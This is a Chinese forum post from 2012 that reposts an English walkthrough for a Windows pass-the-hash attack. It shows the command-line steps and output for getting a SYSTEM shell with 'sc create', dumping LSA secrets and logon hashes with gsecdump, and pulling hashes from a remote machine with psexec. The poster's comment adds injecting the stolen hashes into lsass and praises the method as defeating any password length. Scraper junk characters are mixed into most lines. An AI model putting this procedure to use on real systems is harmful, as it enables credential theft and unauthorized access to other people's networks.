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标题: HASH注入式攻击 [打印本页]

作者: admin    时间: 2012-11-6 21:09
标题: HASH注入式攻击
o get a DOS Prompt as NT system:: r4 j4 w6 a% ~# G( z3 l+ g# \

: L( A5 N$ @% g! O3 w" iC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
5 l4 V6 X5 X# {, c3 L[SC] CreateService SUCCESS
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C:\>sc start shellcmdline, O$ N" _3 ?- R" q* d
[SC] StartService FAILED 1053:$ N: ]  H( ]/ [
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The service did not respond to the start or control request in a timely fashion.
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C:\>sc delete shellcmdline' H1 ~9 i* i; X5 Y6 l
[SC] DeleteService SUCCESS
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------------
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0 m! C3 |( \! QThen in the new DOS window:
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; z. p/ e) t  }6 h- H- s# P, F8 AMicrosoft Windows XP [Version 5.1.2600]7 L/ X0 ~( ~5 s  q
(C) Copyright 1985-2001 Microsoft Corp.% f4 v; C) m9 V# c

" F* A! A3 g3 Q: J% h0 xC:\WINDOWS\system32>whoami
- A4 v! i. I- c( jNT AUTHORITY\SYSTEM# x$ \3 |: [3 u" K( ?9 T# w

3 W7 ]4 b5 M. `  UC:\WINDOWS\system32>gsecdump -h
, C+ H/ f" v; f! h$ s6 K. F% ^gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)6 p4 a: w, F" k/ U" ]+ X1 [
usage: gsecdump [options]
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% {( b) A; ]! }. e. _2 goptions:
2 J" [% t! l6 M' N; u$ X* `5 |5 c-h [ --help ] show help3 Y3 l8 A7 e: H+ _
-a [ --dump_all ] dump all secrets7 Q; a& u/ F* i4 ~6 |. \
-l [ --dump_lsa ] dump lsa secrets0 r2 g# G/ H. Y, R8 T& r) }( i% M5 Q
-w [ --dump_wireless ] dump microsoft wireless connections
2 q) t+ r/ J  \9 V" y" \/ G-u [ --dump_usedhashes ] dump hashes from active logon sessions
* Z1 y" d( w4 d, Z-s [ --dump_hashes ] dump hashes from SAM/AD4 @& Y: x( G$ D0 C
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Although I like to use:
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% ?  p. Y! p+ G: EPsExec v1.83 - Execute processes remotely
% M$ N: }0 K2 p. u3 e$ N( LCopyright (C) 2001-2007 Mark Russinovich
5 G: w# O8 |- N2 |: O+ VSysinternals - 链接标记[url]www.sysinternals.com[/url]
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C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
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2 [5 D5 g( \& }  R! Qto get the hashes from active logon sessions of a remote system.
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; ^( W% o0 m3 Z" u6 I. wThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.; h6 o+ ^- F, a8 S# T
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提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
5 k: C- n+ V. s9 l  k- n原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]/ Y+ y3 v- |$ H: m% b
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我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
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